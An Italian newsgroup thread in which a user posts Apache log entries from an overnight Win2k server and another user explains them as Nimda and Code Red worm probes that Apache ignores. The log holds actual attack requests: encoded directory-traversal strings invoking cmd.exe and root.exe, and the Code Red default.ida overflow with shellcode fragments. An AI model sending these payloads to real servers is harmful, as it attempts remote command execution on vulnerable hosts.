Newsgroup: it.comp.www.php
Titolo: Che significa?

Ho dimenticato per una notte apache in esecuzione su Win2k e alla mattina ho
trovato questi messaggi nel log da diversi ip. Cosa può essere successo?
Qualcuno ha tentato di fare malanni?
------
62.211.46.128 - - [23/Sep/2001:01:10:05 +0200] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 273
62.211.46.128 - - [23/Sep/2001:01:10:06 +0200] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 271
62.211.46.128 - - [23/Sep/2001:01:10:15 +0200] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 281
62.211.46.128 - - [23/Sep/2001:01:10:15 +0200] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 281
62.211.46.128 - - [23/Sep/2001:01:10:16 +0200] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
62.211.46.128 - - [23/Sep/2001:01:10:16 +0200] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 312
62.211.46.128 - - [23/Sep/2001:01:10:16 +0200] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 312
62.211.46.128 - - [23/Sep/2001:01:10:17 +0200] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 328
62.211.46.128 - - [23/Sep/2001:01:10:17 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:10:18 +0200] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:10:18 +0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:10:18 +0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:10:22 +0200] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 278
62.211.46.128 - - [23/Sep/2001:01:10:22 +0200] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 278
62.211.46.128 - - [23/Sep/2001:01:10:22 +0200] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
62.211.46.128 - - [23/Sep/2001:01:10:23 +0200] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
62.211.46.128 - - [23/Sep/2001:01:15:44 +0200] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 273
62.211.46.128 - - [23/Sep/2001:01:15:44 +0200] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 271
62.211.46.128 - - [23/Sep/2001:01:15:45 +0200] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 281
62.211.46.128 - - [23/Sep/2001:01:15:45 +0200] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 281
62.211.46.128 - - [23/Sep/2001:01:15:45 +0200] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
62.211.46.128 - - [23/Sep/2001:01:15:46 +0200] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 312
62.211.46.128 - - [23/Sep/2001:01:15:46 +0200] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 312
62.211.46.128 - - [23/Sep/2001:01:15:46 +0200] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 328
62.211.46.128 - - [23/Sep/2001:01:15:47 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:15:47 +0200] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:15:47 +0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:15:48 +0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 294
62.211.46.128 - - [23/Sep/2001:01:15:48 +0200] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 278
62.211.46.128 - - [23/Sep/2001:01:15:48 +0200] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 278
62.211.46.128 - - [23/Sep/2001:01:15:49 +0200] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
62.211.46.128 - - [23/Sep/2001:01:15:49 +0200] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
62.211.46.128 - - [23/Sep/2001:04:10:34 +0200] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 268
---
Questa è solo una porzione... ce ne sono veramente molti e tutti con ip
diversi.
Grazie.
Davide.

 wrote in message
news:iMcr7.17228$dJ3.1...@news1.tin.it...


Qualcuno ha tentato di fare malanni?
Esatto. Ma siccome il virus CodeRed colpisce solo IIS, e Apache e' immune,
non e' successo niente di grave.
In realta' questo non e' il CodeRed (e neanche CodeRed II, al quale Apache
per altro e' immune), ma il NIMDA, che cerca alcuni "buchi" creati proprio
da CodeRed per entrare. Apache e' immune anche al NIMDA.
Comunque, ti ha mangiato un bel po' di bytes nel file di log. E se insiste
di molto, ti riempie l'hard disk. A quel punto si', Apache avra' problemi.
Leonardo
-- 
Nior thainig ar major i dtus an lae chugainn,
is ni rabhamar fein ann i gcoir na gceart
ach mar sheolfai aoireacht bo gan aoire,
ar thaobh na greine de Sliabh na mBan.